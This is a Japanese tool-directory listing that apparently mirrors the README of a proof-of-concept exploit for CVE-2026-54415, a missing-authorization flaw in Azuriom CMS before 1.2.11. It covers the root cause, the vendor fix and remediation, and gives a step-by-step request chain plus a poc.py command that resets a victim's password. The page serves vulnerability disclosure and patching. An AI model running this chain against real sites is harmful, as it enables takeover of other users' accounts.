Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-54415-PoC — CVE-2026-54415 の PoC — Azuriom CMS (<1.2.11) 壊れたアクセス制御 → アカウント乗っ取り | Kitploit
ツール/GitHubGitHub/abdugafforov-bobur/cve-2026-54415-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト認証学習と教育
GitHubabdugafforov-bobur/cve-2026-54415-poc

CVE-2026-54415-PoC

CVE-2026-54415 の PoC — Azuriom CMS (<1.2.11) 壊れたアクセス制御 → アカウント乗っ取り

リポジトリを見る
232ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-54415 — Azuriom CMSの破損したアクセス制御 → アカウント乗っ取り

Azuriom CMS < 1.2.11 の管理サーバー管理ルートにおける認可の欠如により、admin.access のみを持つ低権限管理者が AzLink サーバートークンを生成し、管理者以外の任意のアカウントを乗っ取ることができます。

CVECVE-2026-54415
ProductAzuriom CMS
影響を受けるバージョン< 1.2.11
修正バージョン1.2.11 — コミット 4b744bc
CWECWE-862(認可の欠如)、CWE-269(不適切な権限管理)
CVSS 3.18.1 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CVSS 4.08.6 High — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

このPoCは、修正済みバージョンに対する防御および教育目的で公開されています。所有しているシステム、または明示的にテストを許可されたシステムでのみ実行してください。Azuriom 1.2.11+ にアップグレードしてください。

✅ ローカルのAzuriom 1.2.10インスタンスでエンドツーエンド確認済み — アクセス制御バイパス、トークン生成、パスワード変更+被害者ログイン、管理者保護境界を確認。


根本原因

routes/admin.phpでは、管理パネル全体が単一の can:admin.access グループで保護されており、各機密機能は独自の細かい can:admin.* ミドルウェアを追加することが期待されていました。1.2.11 以前は、サーバー管理ルートにはそのようなミドルウェアが実装されていませんでした:

root@kitploit:~
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');

そのため、管理パネルにアクセスできるユーザー(admin.access)であれば誰でもサーバーを作成できました。admin.servers 権限はまったく存在せず、修正まで存在しませんでした。

修正 (1.2.11)

ベンダーは新しい admin.servers 権限を作成し、ルートをその中にラップしました:

root@kitploit:~
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
    Route::resource('servers', ServerController::class)->except('show');
    Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
    Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});

同じコミットで、以前欠落していた social-links および pages/posts.attachments ルートへの権限チェックも追加されました。


サーバー作成がアカウント乗っ取りにつながる理由

サーバーを作成すると、32文字のサーバートークンが生成されます (app/Http/Controllers/Admin/ServerController.php):

root@kitploit:~
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);

そのトークンはAzLink API (routes/api.php) を認証し、その VerifyServerToken ミドルウェアは有効な Azuriom-Link-Token ヘッダーを持つ任意のリクエストを信頼します。AzLinkはアカウント管理エンドポイントを公開しています:

root@kitploit:~
POST /api/azlink/password   → change a user's password by game_id
POST /api/azlink/email      → change a user's email by game_id
POST /api/azlink/register   → create users
POST /api/azlink/user/{id}/money/{add,remove,set}

updatePassword は対象が isAdmin() の場合にのみ拒否します — つまり、管理者以外のすべてのアカウントが乗っ取り可能です:

root@kitploit:~
public function updatePassword(Request $request) {
    // validates game_id + password
    $user = User::where('game_id', $request->input('game_id'))->firstOrFail();
    if ($user->isAdmin()) { return response()->noContent(); }   // only admins are protected
    $user->update(['password' => $request->input('password')]);
    ...
}

トークンは到達可能なゲームサーバーを必要としない

サーバー作成は保存前に $server->bridge()->verifyLink() を呼び出します。mc-azlink タイプの場合、これは無条件に true を返します:

root@kitploit:~
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }

そのため、攻撃者はダミーの address を指定してもサーバーは保存され、新しいトークンはAzLinkセットアップコマンド (/azlink setup <url> <token>) 内のパネルに表示されます。


エクスプロイトチェーン

root@kitploit:~
1. 低権限管理者として認証 (admin.access のみ — admin.servers は存在しなかった)
2. POST /admin/servers   name=x&type=mc-azlink&address=127.0.0.1   → サーバー保存、トークン生成
3. GET  /admin/servers/{id}/edit                                   → セットアップコマンドからトークンを読み取り
4. POST /api/azlink/password   (ヘッダー Azuriom-Link-Token: <token>)  game_id=<victim>&password=<new>
5. 被害者としてログイン                                            → 完全なアカウント乗っ取り

使用方法

root@kitploit:~
python3 poc.py \
  --url https://target.example \
  --admin-user lowpriv_admin --admin-pass 'password' \
  --victim-game-id 1001 \
  --new-password 'Pwn3d!TakenOver'

スクリプトはログイン、サーバートークンの生成、抽出、AzLink経由での被害者のパスワードリセットを行い、トークンと結果を出力します。全てのフラグは poc.py --help を参照してください。requests が必要です (pip install requests)。


修復策

  • Azuriom 1.2.11 以降にアップグレードしてください。
  • admin_servers を監査し、予期しないサーバートークンを無効にしてください。
  • 最小権限の原則を適用: admin.access を持つロールを監査してください。

開示情報

  • 研究者 / 報告者: Bobur Abdugafforov (@abdugafforov-bobur)
  • CNAによる割り当て: TuranSec
  • 公開日: 2026-06-17
  • ベンダーが 1.2.11 で修正

参考情報

  • Fix commit: https://github.com/Azuriom/Azuriom/commit/4b744bc0dd11f205f5aa053c6db8a949d3f0608e
  • Release: https://github.com/Azuriom/Azuriom/releases/tag/v1.2.11
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-54415

ライセンス

MIT — 許可されたセキュリティテストおよび研究目的のみ。

ツールをダウンロード